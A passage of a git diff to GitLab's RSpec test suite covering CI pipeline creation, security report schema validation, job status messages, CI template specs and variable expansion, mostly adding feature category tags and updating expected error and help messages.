-RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator do
+RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator, feature_category: :vulnerability_management do
let_it_be(:project) { create(:project) }
+ let(:current_dast_versions) { described_class::CURRENT_VERSIONS[:dast].join(', ') }
let(:supported_dast_versions) { described_class::SUPPORTED_VERSIONS[:dast].join(', ') }
let(:deprecated_schema_version_message) {}
let(:missing_schema_version_message) do
@@ -19,6 +20,14 @@ RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator do
}
end
+ let(:analyzer_vendor) do
+ { 'name' => 'A DAST analyzer' }
+ end
+
+ let(:scanner_vendor) do
+ { 'name' => 'A DAST scanner' }
+ end
+
let(:report_data) do
{
'scan' => {
@@ -26,7 +35,7 @@ RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator do
'id' => 'my-dast-analyzer',
'name' => 'My DAST analyzer',
'version' => '0.1.0',
- 'vendor' => { 'name' => 'A DAST analyzer' }
+ 'vendor' => analyzer_vendor
},
'end_time' => '2020-01-28T03:26:02',
'scanned_resources' => [],
@@ -34,7 +43,7 @@ RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator do
'id' => 'my-dast-scanner',
'name' => 'My DAST scanner',
'version' => '0.2.0',
- 'vendor' => { 'name' => 'A DAST scanner' }
+ 'vendor' => scanner_vendor
},
'start_time' => '2020-01-28T03:26:01',
'status' => 'success',
@@ -458,8 +467,9 @@ RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator do
let(:report_version) { described_class::DEPRECATED_VERSIONS[report_type].last }
let(:expected_deprecation_message) do
- "Version #{report_version} for report type #{report_type} has been deprecated, supported versions for this "\
- "report type are: #{supported_dast_versions}. GitLab will attempt to parse and ingest this report if valid."
+ "version #{report_version} for report type #{report_type} is deprecated. "\
+ "However, GitLab will still attempt to parse and ingest this report. "\
+ "Upgrade the security report to one of the following versions: #{current_dast_versions}."
end
let(:expected_deprecation_warnings) do
@@ -492,6 +502,22 @@ RSpec.describe Gitlab::Ci::Parsers::Security::Validators::SchemaValidator do
it_behaves_like 'report with expected warnings'
end
+
+ context 'and the report passes schema validation as a GitLab-vendored analyzer' do
+ let(:analyzer_vendor) do
+ { 'name' => 'GitLab' }
+ end
+
+ it { is_expected.to be_empty }
+ end
+
+ context 'and the report passes schema validation as a GitLab-vendored scanner' do
+ let(:scanner_vendor) do
+ { 'name' => 'GitLab' }
+ end
+
+ it { is_expected.to be_empty }
+ end
end
context 'when given an unsupported schema version' do
diff --git a/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb
index be5d3a96126..bec80a43a76 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/create_deployments_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Pipeline::Chain::CreateDeployments do
+RSpec.describe Gitlab::Ci::Pipeline::Chain::CreateDeployments, feature_category: :continuous_integration do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
@@ -19,6 +19,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::CreateDeployments do
subject { step.perform! }
before do
+ stub_feature_flags(move_create_deployments_to_worker: false)
job.pipeline = pipeline
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb
index eba0db0adfb..e13e78d0db8 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/create_spec.rb
@@ -63,11 +63,11 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Create do
end
let(:job) do
- build(:ci_build, stage: stage, pipeline: pipeline, project: project)
+ build(:ci_build, ci_stage: stage, pipeline: pipeline, project: project)
end
let(:bridge) do
- build(:ci_bridge, stage: stage, pipeline: pipeline, project: project)
+ build(:ci_bridge, ci_stage: stage, pipeline: pipeline, project: project)
end
before do
diff --git a/spec/lib/gitlab/ci/pipeline/chain/populate_metadata_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/populate_metadata_spec.rb
index 35e1c48a942..00200b57b1e 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/populate_metadata_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/populate_metadata_spec.rb
@@ -54,94 +54,76 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::PopulateMetadata do
expect(step.break?).to be false
end
- context 'with feature flag disabled' do
- before do
- stub_feature_flags(pipeline_name: false)
- end
-
- it 'does not build pipeline_metadata' do
- run_chain
+ it 'builds pipeline_metadata' do
+ run_chain
- expect(pipeline.pipeline_metadata).to be_nil
- end
+ expect(pipeline.pipeline_metadata.name).to eq('Pipeline name')
+ expect(pipeline.pipeline_metadata.project).to eq(pipeline.project)
+ expect(pipeline.pipeline_metadata).not_to be_persisted
end
- context 'with feature flag enabled' do
- before do
- stub_feature_flags(pipeline_name: true)
+ context 'with empty name' do
+ let(:config) do
+ { workflow: { name: ' ' }, rspec: { script: 'rspec' } }
end
- it 'builds pipeline_metadata' do
+ it 'strips whitespace from name' do
run_chain
- expect(pipeline.pipeline_metadata.name).to eq('Pipeline name')
- expect(pipeline.pipeline_metadata.project).to eq(pipeline.project)
- expect(pipeline.pipeline_metadata).not_to be_persisted
+ expect(pipeline.pipeline_metadata).to be_nil
end
- context 'with empty name' do
+ context 'with empty name after variable substitution' do
let(:config) do
- { workflow: { name: ' ' }, rspec: { script: 'rspec' } }
+ { workflow: { name: '$VAR1' }, rspec: { script: 'rspec' } }
end
- it 'strips whitespace from name' do
+ it 'does not save empty name' do
run_chain
expect(pipeline.pipeline_metadata).to be_nil
end
-
- context 'with empty name after variable substitution' do
- let(:config) do
- { workflow: { name: '$VAR1' }, rspec: { script: 'rspec' } }
- end
-
- it 'does not save empty name' do
- run_chain
-
- expect(pipeline.pipeline_metadata).to be_nil
- end
- end
end
+ end
- context 'with variables' do
- let(:config) do
- {
- variables: { ROOT_VAR: 'value $WORKFLOW_VAR1' },
- workflow: {
- name: 'Pipeline $ROOT_VAR $WORKFLOW_VAR2 $UNKNOWN_VAR',
- rules: [{ variables: { WORKFLOW_VAR1: 'value1', WORKFLOW_VAR2: 'value2' } }]
- },
- rspec: { script: 'rspec' }
- }
- end
+ context 'with variables' do
+ let(:config) do
+ {
+ variables: { ROOT_VAR: 'value $WORKFLOW_VAR1' },
+ workflow: {
+ name: 'Pipeline $ROOT_VAR $WORKFLOW_VAR2 $UNKNOWN_VAR',
+ rules: [{ variables: { WORKFLOW_VAR1: 'value1', WORKFLOW_VAR2: 'value2' } }]
+ },
+ rspec: { script: 'rspec' }
+ }
+ end
- it 'substitutes variables' do
- run_chain
+ it 'substitutes variables' do
+ run_chain
- expect(pipeline.pipeline_metadata.name).to eq('Pipeline value value1 value2')
- end
+ expect(pipeline.pipeline_metadata.name).to eq('Pipeline value value1 value2')
end
+ end
- context 'with invalid name' do
- let(:config) do
- {
- variables: { ROOT_VAR: 'a' * 256 },
- workflow: {
- name: 'Pipeline $ROOT_VAR'
- },
- rspec: { script: 'rspec' }
- }
- end
+ context 'with invalid name' do
+ let(:config) do
+ {
+ variables: { ROOT_VAR: 'a' * 256 },
+ workflow: {
+ name: 'Pipeline $ROOT_VAR'
+ },
+ rspec: { script: 'rspec' }
+ }
+ end
- it 'returns error and breaks chain' do
- ret = run_chain
+ it 'returns error and breaks chain' do
+ ret = run_chain
- expect(ret)
- .to match_array(["Failed to build pipeline metadata! Name is too long (maximum is 255 characters)"])
- expect(pipeline.pipeline_metadata.errors.full_messages)
- .to match_array(['Name is too long (maximum is 255 characters)'])
- expect(step.break?).to be true
- end
+ expect(ret)
+ .to match_array(["Failed to build pipeline metadata! Name is too long (maximum is 255 characters)"])
+ expect(pipeline.pipeline_metadata.errors.full_messages)
+ .to match_array(['Name is too long (maximum is 255 characters)'])
+ expect(step.break?).to be true
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb
index 62de4d2e96d..91bb94bbb11 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Pipeline::Chain::Populate do
+RSpec.describe Gitlab::Ci::Pipeline::Chain::Populate, feature_category: :continuous_integration do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
@@ -90,7 +90,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Populate do
it 'appends an error about missing stages' do
expect(pipeline.errors.to_a)
- .to include 'No stages / jobs for this pipeline.'
+ .to include 'Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'
end
it 'wastes pipeline iid' do
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb
index fb8020bf43e..c264ea3bece 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb
@@ -212,6 +212,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build::Cache do
paths: ['vendor/ruby'],
untracked: true,
policy: 'push',
+ unprotect: true,
when: 'on_success'
}
end
diff --git a/spec/lib/gitlab/ci/status/bridge/factory_spec.rb b/spec/lib/gitlab/ci/status/bridge/factory_spec.rb
index 6081f104e42..c13901a4776 100644
--- a/spec/lib/gitlab/ci/status/bridge/factory_spec.rb
+++ b/spec/lib/gitlab/ci/status/bridge/factory_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Status::Bridge::Factory do
+RSpec.describe Gitlab::Ci::Status::Bridge::Factory, feature_category: :continuous_integration do
let(:user) { create(:user) }
let(:project) { bridge.project }
let(:status) { factory.fabricate! }
@@ -59,13 +59,15 @@ RSpec.describe Gitlab::Ci::Status::Bridge::Factory do
context 'failed with downstream_pipeline_creation_failed' do
before do
- bridge.options = { downstream_errors: ['No stages / jobs for this pipeline.', 'other error'] }
+ bridge.options = { downstream_errors: ['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.', 'other error'] }
bridge.failure_reason = 'downstream_pipeline_creation_failed'
end
it 'fabricates correct status_tooltip' do
expect(status.status_tooltip).to eq(
- "#{s_('CiStatusText|failed')} - (downstream pipeline can not be created, No stages / jobs for this pipeline., other error)"
+ "#{s_('CiStatusText|failed')} - (downstream pipeline can not be created, Pipeline will not run for the selected trigger. " \
+ "The rules configuration prevented any jobs from being added to the pipeline., other error)"
)
end
end
diff --git a/spec/lib/gitlab/ci/status/build/manual_spec.rb b/spec/lib/gitlab/ci/status/build/manual_spec.rb
index a1152cb77e3..8f5d1558314 100644
--- a/spec/lib/gitlab/ci/status/build/manual_spec.rb
+++ b/spec/lib/gitlab/ci/status/build/manual_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Status::Build::Manual do
+RSpec.describe Gitlab::Ci::Status::Build::Manual, feature_category: :continuous_integration do
let_it_be(:user) { create(:user) }
let_it_be(:job) { create(:ci_build, :manual) }
@@ -18,11 +18,44 @@ RSpec.describe Gitlab::Ci::Status::Build::Manual do
job.project.add_maintainer(user)
end
- it { expect(subject.illustration[:content]).to match /This job requires manual intervention to start/ }
+ context 'when the job has not been played' do
+ it 'instructs the user about possible actions' do
+ expect(subject.illustration[:content]).to eq(
+ _(
+ 'This job does not start automatically and must be started manually. ' \
+ 'You can add CI/CD variables below for last-minute configuration changes before starting the job.'
+ )
+ )
+ end
+ end
+
+ context 'when the job is retryable' do
+ before do
+ job.update!(status: :failed)
+ end
+
+ it 'instructs the user about possible actions' do
+ expect(subject.illustration[:content]).to eq(
+ _("You can modify this job's CI/CD variables before running it again.")
+ )
+ end
+ end
+ end
+
+ context 'when the user can not trigger the job because of outdated deployment' do
+ before do
+ allow(job).to receive(:outdated_deployment?).and_return(true)
+ end
+
+ it { expect(subject.illustration[:content]).to match /This deployment job does not run automatically and must be started manually, but it's older than the latest deployment, and therefore can't run/ }
end
- context 'when the user can not trigger the job' do
- it { expect(subject.illustration[:content]).to match /This job does not run automatically and must be started manually/ }
+ context 'when the user can not trigger the job due to another reason' do
+ it 'informs the user' do
+ expect(subject.illustration[:content]).to eq(
+ _("This job does not run automatically and must be started manually, but you do not have access to it.")
+ )
+ end
end
end
diff --git a/spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb
index 16c5d7a4b6d..286f3d10b7f 100644
--- a/spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Jobs/Code-Quality.gitlab-ci.yml' do
+RSpec.describe 'Jobs/Code-Quality.gitlab-ci.yml', feature_category: :continuous_integration do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('Jobs/Code-Quality') }
describe 'the created pipeline' do
@@ -63,7 +63,8 @@ RSpec.describe 'Jobs/Code-Quality.gitlab-ci.yml' do
context 'on master' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
@@ -72,7 +73,8 @@ RSpec.describe 'Jobs/Code-Quality.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
@@ -81,7 +83,8 @@ RSpec.describe 'Jobs/Code-Quality.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
end
diff --git a/spec/lib/gitlab/ci/templates/Jobs/sast_iac_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/Jobs/sast_iac_gitlab_ci_yaml_spec.rb
index 8a5aea7c0f0..68d249e31f9 100644
--- a/spec/lib/gitlab/ci/templates/Jobs/sast_iac_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/Jobs/sast_iac_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Jobs/SAST-IaC.gitlab-ci.yml' do
+RSpec.describe 'Jobs/SAST-IaC.gitlab-ci.yml', feature_category: :continuous_integration do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('Jobs/SAST-IaC') }
describe 'the created pipeline' do
@@ -50,7 +50,8 @@ RSpec.describe 'Jobs/SAST-IaC.gitlab-ci.yml' do
context 'on default branch' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
@@ -59,7 +60,8 @@ RSpec.describe 'Jobs/SAST-IaC.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
end
diff --git a/spec/lib/gitlab/ci/templates/Jobs/sast_iac_latest_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/Jobs/sast_iac_latest_gitlab_ci_yaml_spec.rb
index d540b035f81..039a6a739dd 100644
--- a/spec/lib/gitlab/ci/templates/Jobs/sast_iac_latest_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/Jobs/sast_iac_latest_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Jobs/SAST-IaC.latest.gitlab-ci.yml' do
+RSpec.describe 'Jobs/SAST-IaC.latest.gitlab-ci.yml', feature_category: :continuous_integration do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('Jobs/SAST-IaC.latest') }
describe 'the created pipeline' do
@@ -51,7 +51,8 @@ RSpec.describe 'Jobs/SAST-IaC.latest.gitlab-ci.yml' do
context 'on default branch' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
@@ -60,7 +61,8 @@ RSpec.describe 'Jobs/SAST-IaC.latest.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
end
diff --git a/spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb
index 7cf0cf3ed33..d73d8a15feb 100644
--- a/spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Jobs/Test.gitlab-ci.yml' do
+RSpec.describe 'Jobs/Test.gitlab-ci.yml', feature_category: :continuous_integration do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('Jobs/Test') }
describe 'the created pipeline' do
@@ -63,7 +63,8 @@ RSpec.describe 'Jobs/Test.gitlab-ci.yml' do
context 'on master' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
@@ -72,7 +73,8 @@ RSpec.describe 'Jobs/Test.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
@@ -81,7 +83,8 @@ RSpec.describe 'Jobs/Test.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
end
diff --git a/spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb
index b2ca906e172..09ca2678de5 100644
--- a/spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Auto-DevOps.gitlab-ci.yml' do
+RSpec.describe 'Auto-DevOps.gitlab-ci.yml', feature_category: :auto_devops do
using RSpec::Parameterized::TableSyntax
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('Auto-DevOps') }
diff --git a/spec/lib/gitlab/ci/templates/npm_spec.rb b/spec/lib/gitlab/ci/templates/npm_spec.rb
index 55fd4675f11..a949a7ccfb1 100644
--- a/spec/lib/gitlab/ci/templates/npm_spec.rb
+++ b/spec/lib/gitlab/ci/templates/npm_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'npm.gitlab-ci.yml' do
+RSpec.describe 'npm.gitlab-ci.yml', feature_category: :continuous_integration do
subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('npm') }
describe 'the created pipeline' do
@@ -43,7 +43,8 @@ RSpec.describe 'npm.gitlab-ci.yml' do
shared_examples 'no pipeline created' do
it 'does not create a pipeline because the only job (publish) is not created' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
diff --git a/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
index 6ae51f9783b..a81f29d0d01 100644
--- a/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Terraform.latest.gitlab-ci.yml' do
+RSpec.describe 'Terraform.latest.gitlab-ci.yml', feature_category: :continuous_integration do
before do
allow(Gitlab::Template::GitlabCiYmlTemplate).to receive(:excluded_patterns).and_return([])
end
@@ -66,7 +66,12 @@ RSpec.describe 'Terraform.latest.gitlab-ci.yml' do
it 'does not create a branch pipeline', :aggregate_failures do
expect(branch_build_names).to be_empty
- expect(branch_pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(branch_pipeline.errors.full_messages).to match_array(
+ [
+ 'Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'
+ ]
+ )
end
end
end
diff --git a/spec/lib/gitlab/ci/templates/themekit_gitlab_ci_yaml_spec.rb b/spec/lib/gitlab/ci/templates/themekit_gitlab_ci_yaml_spec.rb
index 157fd39f1cc..607db33f61a 100644
--- a/spec/lib/gitlab/ci/templates/themekit_gitlab_ci_yaml_spec.rb
+++ b/spec/lib/gitlab/ci/templates/themekit_gitlab_ci_yaml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'ThemeKit.gitlab-ci.yml' do
+RSpec.describe 'ThemeKit.gitlab-ci.yml', feature_category: :continuous_integration do
before do
allow(Gitlab::Template::GitlabCiYmlTemplate).to receive(:excluded_patterns).and_return([])
end
@@ -52,7 +52,8 @@ RSpec.describe 'ThemeKit.gitlab-ci.yml' do
it 'has no jobs' do
expect(build_names).to be_empty
- expect(pipeline.errors.full_messages).to match_array(["No stages / jobs for this pipeline."])
+ expect(pipeline.errors.full_messages).to match_array(['Pipeline will not run for the selected trigger. ' \
+ 'The rules configuration prevented any jobs from being added to the pipeline.'])
end
end
end
diff --git a/spec/lib/gitlab/ci/variables/collection_spec.rb b/spec/lib/gitlab/ci/variables/collection_spec.rb
index 10b8f0065d9..4ee122cc607 100644
--- a/spec/lib/gitlab/ci/variables/collection_spec.rb
+++ b/spec/lib/gitlab/ci/variables/collection_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Ci::Variables::Collection do
+RSpec.describe Gitlab::Ci::Variables::Collection, feature_category: :pipeline_authoring do
describe '.new' do
it 'can be initialized with an array' do
variable = { key: 'VAR', value: 'value', public: true, masked: false }
@@ -295,69 +295,6 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
end
end
- describe '#expand_value' do
- let(:collection) do
- Gitlab::Ci::Variables::Collection.new
- .append(key: 'CI_JOB_NAME', value: 'test-1')
- .append(key: 'CI_BUILD_ID', value: '1')
- .append(key: 'TEST1', value: 'test-3')
- .append(key: 'FILEVAR1', value: 'file value 1', file: true)
- end
-
- context 'table tests' do
- using RSpec::Parameterized::TableSyntax
-
- where do
- {
- "empty value": {
- value: '',
- result: ''
- },
- "simple expansions": {
- value: 'key$TEST1-$CI_BUILD_ID',
- result: 'keytest-3-1'
- },
- "complex expansion": {
- value: 'key${TEST1}-${CI_JOB_NAME}',
- result: 'keytest-3-test-1'
- },
- "missing variable not keeping original": {
- value: 'key${MISSING_VAR}-${CI_JOB_NAME}',
- result: 'key-test-1'
- },
- "missing variable keeping original": {
- value: 'key${MISSING_VAR}-${CI_JOB_NAME}',
- result: 'key${MISSING_VAR}-test-1',
- keep_undefined: true
- },
- "escaped characters are kept intact": {
- value: 'key-$TEST1-%%HOME%%-$${HOME}',
- result: 'key-test-3-%%HOME%%-$${HOME}'
- },
- "file variable with expand_file_refs: true": {
- value: 'key-$FILEVAR1-$TEST1',
- result: 'key-file value 1-test-3'
- },
- "file variable with expand_file_refs: false": {
- value: 'key-$FILEVAR1-$TEST1',
- result: 'key-$FILEVAR1-test-3',
- expand_file_refs: false
- }
- }
- end
-
- with_them do
- let(:options) { { keep_undefined: keep_undefined, expand_file_refs: expand_file_refs }.compact }
-
- subject(:expanded_result) { collection.expand_value(value, **options) }
-
- it 'matches expected expansion' do
- is_expected.to eq(result)
- end
- end
- end
- end
-
describe '#sort_and_expand_all' do
context 'table tests' do
using RSpec::Parameterized::TableSyntax
@@ -369,6 +306,14 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
keep_undefined: false,
result: []
},
+ "empty string": {
+ variables: [
+ { key: 'variable', value: '' }
+ ],
+ result: [
+ { key: 'variable', value: '' }
+ ]
+ },
"simple expansions": {
variables: [
{ key: 'variable', value: 'value' },
@@ -560,13 +505,42 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
{ key: 'variable2', value: '$variable3' },
{ key: 'variable3', value: 'key$variable$variable2' }
]
+ },
+ "file variables with expand_file_refs: true": {
+ variables: [
+ { key: 'file_var', value: 'secret content', file: true },
+ { key: 'variable1', value: 'var one' },
+ { key: 'variable2', value: 'var two $variable1 $file_var' }
+ ],
+ result: [
+ { key: 'file_var', value: 'secret content' },
+ { key: 'variable1', value: 'var one' },
+ { key: 'variable2', value: 'var two var one secret content' }
+ ]
+ },
+ "file variables with expand_file_refs: false": {
+ variables: [
+ { key: 'file_var', value: 'secret content', file: true },
+ { key: 'variable1', value: 'var one' },
+ { key: 'variable2', value: 'var two $variable1 $file_var' }
+ ],
+ expand_file_refs: false,
+ result: [
+ { key: 'file_var', value: 'secret content' },
+ { key: 'variable1', value: 'var one' },
+ { key: 'variable2', value: 'var two var one $file_var' }
+ ]
}
}
end
with_them do
let(:collection) { Gitlab::Ci::Variables::Collection.new(variables) }
- let(:options) { { keep_undefined: keep_undefined, expand_raw_refs: expand_raw_refs }.compact }
+ let(:options) do
+ { keep_undefined: keep_undefined,
+ expand_raw_refs: expand_raw_refs,
+ expand_file_refs: expand_file_refs }.compact
+ end
subject(:expanded_result) { collection.sort_and_expand_all(**options) }
@@ -585,43 +559,21 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
end
end
end
+ end
- context 'with the file_variable_is_referenced_in_another_variable logging' do
- let(:collection) do
- Gitlab::Ci::Variables::Collection.new
- .append(key: 'VAR1', value: 'test-1')
- .append(key: 'VAR2', value: '$VAR1')
- .append(key: 'VAR3', value: '$VAR1', raw: true)
- .append(key: 'FILEVAR4', value: 'file-test-4', file: true)
- .append(key: 'VAR5', value: '$FILEVAR4')
- .append(key: 'VAR6', value: '$FILEVAR4', raw: true)
- end
-
- subject(:sort_and_expand_all) { collection.sort_and_expand_all(project: project) }
-
- context 'when a project is not passed' do
- let(:project) {}
-
- it 'does not log anything' do
- expect(Gitlab::AppJsonLogger).not_to receive(:info)
-
- sort_and_expand_all
- end
- end
+ describe '#to_s' do
+ let(:variables) do
+ [
+ { key: 'VAR', value: 'value', public: true },
+ { key: 'VAR2', value: 'value2', public: false }
+ ]
+ end
- context 'when a project is passed' do
- let(:project) { create(:project) }
+ let(:errors) { 'circular variable reference detected' }
+ let(:collection) { Gitlab::Ci::Variables::Collection.new(variables, errors) }
- it 'logs file_variable_is_referenced_in_another_variable once for VAR5' do
- expect(Gitlab::AppJsonLogger).to receive(:info).with(
- event: 'file_variable_is_referenced_in_another_variable',
- project_id: project.id,
- variable: 'FILEVAR4'
- ).once
+ subject(:result) { collection.to_s }
- sort_and_expand_all
- end
- end
- end
+ it { is_expected.to eq("[\"VAR\", \"VAR2\"], @errors='circular variable reference detected'") }
end
end
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index ae98d2e0cad..b9f65ff749d 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -4,8 +4,9 @@ require 'spec_helper'
module Gitlab
module Ci
- RSpec.describe YamlProcessor do
+ RSpec.describe YamlProcessor, feature_category: :pipeline_authoring do
include StubRequests
+ include RepoHelpers
subject(:processor) { described_class.new(config, user: nil).execute }
@@ -1302,32 +1303,6 @@ module Gitlab
